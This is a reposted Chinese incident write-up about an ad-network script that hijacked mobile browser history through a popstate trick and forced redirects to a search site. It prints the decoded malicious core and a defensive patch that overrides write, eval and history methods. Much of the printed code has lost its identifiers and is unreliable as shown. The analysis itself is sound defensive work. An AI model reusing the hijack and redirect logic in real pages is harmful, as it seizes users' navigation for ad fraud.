在知乎里面看到一篇爝爷的文章，感觉很有用，赶紧那笔记下来！！！
首先，我们接到用户投诉，在某些网络运营商的网络下，某些android机型的浏览器中，访问我们的页面会有一些诡异的行为。
一，起因：
行为表现是，进入页面后，什么都不操作，页面加载完毕后，用户的浏览器居然直接跳转到了某个网站的一个搜索页面，每次搜索的结果还都不一样。
一开始我们发现了这个bug后，是非常被动的，因为用户进行了录屏操作，确实是什么都没干页面就自动跳转到某网站搜索了，我们模拟了投诉用户的网络，UA，android同款机型都无解，全程页面都是使用的HTTPS链接，DNS排查后没有被劫持。
二，排查：
因为无法复现，所以这个问题大概发生了大概一周左右，而且概率不大，后来我们模拟了用户的ip段，对其进行了小概率的复现，然后追查网络链路，定位了最后的问题。
引起这个的原因，是由于我们的页面引入了某些第三方平台的广告联盟脚本，而广告的插入方式大家都知道，是以下几个步骤组成的：
1，加载第三方广告脚本。
2，第三方脚本根据规则动态获取广告展示脚本。
3，插入广告展示脚本到广告主页面。
问题就出现在广告脚本这一块，也就是第二步。
通过对日志的排查，复现的脚本，会有小概率的情况在页面中增加一些私货，而且是通过eval加密的，具体加密方法其实就是下面这个地址生成的：js的eval方法在线加密解密工具
那么这段代码做了什么呢？
通过对加密代码进行解密，我们发现他干了一件非常神奇的事，这件事就和popstate有关了。
直接上一下解密后的核心部分代码：
= function(wd) {
(function(window, location, wd) {
(null, , + "#!/stealingyourhistory");
(null, , );
("popstate",
function() {
if ( === "#!/stealingyourhistory") {
(null, , );
setTimeout(function() {
var h = self,
d = document;
var i = ,
n = ,
q = ,
B = function(b) {
!! && ();
//replace ie写法
(1 - 0.1).toFixed(0) == 0 ? (b) : !! ? ~
function(a, c) {
= 'noreferrer';
= b;
(a, );
try {
()
} catch (z) {
c = ('Event');
('click', !1, !1);
(c)
}
}(('a')) : ~
function(a) {
();
(a);
()
}('<meta http-equiv="refresh" content="0;url=' + b + '"/>')
};
var tt = wd;
if (tt) {
B("xxxxxxxx")
}
},
0)
}
},
false)
}(window, location, wd))
}
var hm = ("script");
= "/?callback=loadKeyWord";
= true;
= "text/javascript";
var s = ("script")[0];
(hm, s)
简单解释一下，定义的loadKeyWord方法等于是一个全局的jsonp回调，然后恶意脚本通过调用另外一个script来触发这个方法的执行，传回来的就是每次不一样的关键字结果。
那么我们来简单分析一下，这个loadKeyWord方法干了点啥。
1，调用了replaceState方法进行了一次当前url的历史记录替换操作，这个记录加上了 stealingyourhistory 这个hash值。
2，调用pushState方法把当前页面的url换回来了，这样保证如果用户点击了后退，那么就会回到带有stealingyourhistory的这个值。
3，如果用户点击后退，会触发popstate事件，这个时候，正好会进入下面他增加的监听，判断如果url带着stealingyourhistory，那么就会触发他的恶意逻辑。
4，恶意逻辑写的就比较简单了，一系列的浏览器检测后，不同的浏览器选择不同的跳转方式，比如，比如自己创建一个a标签自己模拟点击，还有最狠的是在页面里插入一个refresh meta来进行重定向。
明白了这个逻辑，大概的一个攻击脚本就分析完了，那么为什么用户会不点后退，进入页面就自动跳转了呢？
哈哈，因为本身popstate在规范上写的是只有用户点击了前进后退，对历史记录进行操作才会触发的，但是在webkit中他是有bug的，当浏览器打开一个新页面或者刷新页面，都会触发popstate，遇到这个bug的人一般都是在onload执行完毕后再setTimeout一下进行popstate的绑定的，但是这个恶意脚本应该是没有考虑到，直接进行绑定了。
那么这个投诉的场景就复现了：
1，一个用户的浏览器中了恶意脚本规则。
2，恶意脚本进行jsonp的回调，触发恶意逻辑。
3，进行stealingyourhistory操作。
4，页面这个过程还没onload。
5，页面onload了，触发了popstate事件，页面被直接带走了。
三，解决：
我们知道了触发原因，破解了恶意脚本逻辑，因为众所周知的原因，广告平台肯定是不认账的，处理肯定也不会那么及时，那么如何快速临时的解决一下呢？
处理这种拦截的解决办法，一般都是对恶意脚本的一些关键api进行沙盒处理，我们先看下对方脚本做的事。
1，用到了来进行了meta refresh的写入。
2，用到了进行重定向。
3，用到了模拟点击a标签。
如果只是重写就能解决那就好办了，但是因为跳转方式的多样化，我们换个思路。
脚本触发的过程其实本质是对history的几个方法的利用，那么我们其实只需要对这几个方法进行拦截就可以了。
看下关键代码：
function rewrite() {
var win = window,
doc = document,
docWriteln = ,
docWrite = ,
oldEval = eval,
addEvent = ,
histryReplaceState = ,
histryPushState = ;
(win,{
addEventListener:{
value:genMethod(addEvent,filterPopstate,win),
writable: false,
configurable: false
}
});
(doc, {
write: {
value: genMethod(docWrite, filterWrite, doc),
writable: false,
configurable: false
},
writeln: {
value: genMethod(docWriteln, filterWrite, doc),
writable: false,
configurable: false
}
})
(win, {
eval: {
value: genMethod(oldEval, null, win),
writable: false,
configurable: false
}
});
(history, {
replaceState: {
value: genMethod(histryReplaceState, filterreplace, history),
writable: false,
configurable: false
},
pushState: {
value: genMethod(histryPushState, null, history),
writable: false,
configurable: false
}
});
}
rewirte函数对这些关键方法，比如write，writeln，replaceState，pushState，eval进行了重定义。
然后我们关注一下value的部分，我这里使用了一个方法来复用重写逻辑，因为要完全代理原来的方法，我们需要把scope，原始方法，过滤方法都传进去。
function genMethod(oldMethod, filterFn, scope) {
return function() {
var args = (arguments);
if (filterFn) {
if(filterFn(args)) return (scope, args);
} else {
return (scope, args);
}
}
}
这里需要注意的是我们因为重写了eval方法，在apply调用的时候需要把返回值返回去，如果你想对你网站所有的这种方法做监控，当然你也可以在genMethod方法中加入上报的埋点，这个就看个人需要了。
因为我们有了对方法参数的过滤机制，所以我们通过过滤popstate的()来进行了渠道号和某网站URL的正则匹配，又对write方法等做了一些关键字的过滤，如果命中就不会执行，测试可以快速解决这个强制跳转和拦截后退的恶意脚本。
四，总结
最后我们也和某网站，也就是收益方进行了沟通，确认应该是某些广告商的作弊行为导致的，当然这种问题的排查和追踪比较困难，以上都只是一些不得已而为之的处理方式，最后肯定是要从拦截的源头来进行处理了。
而这一系列的广告黑产技术的破解，被发现的原因居然是因为popstate的一个bug而引起大范围反馈和排查的，这真是让我们哭笑不得。
作者：小爝
链接：/p/32195737
来源：知乎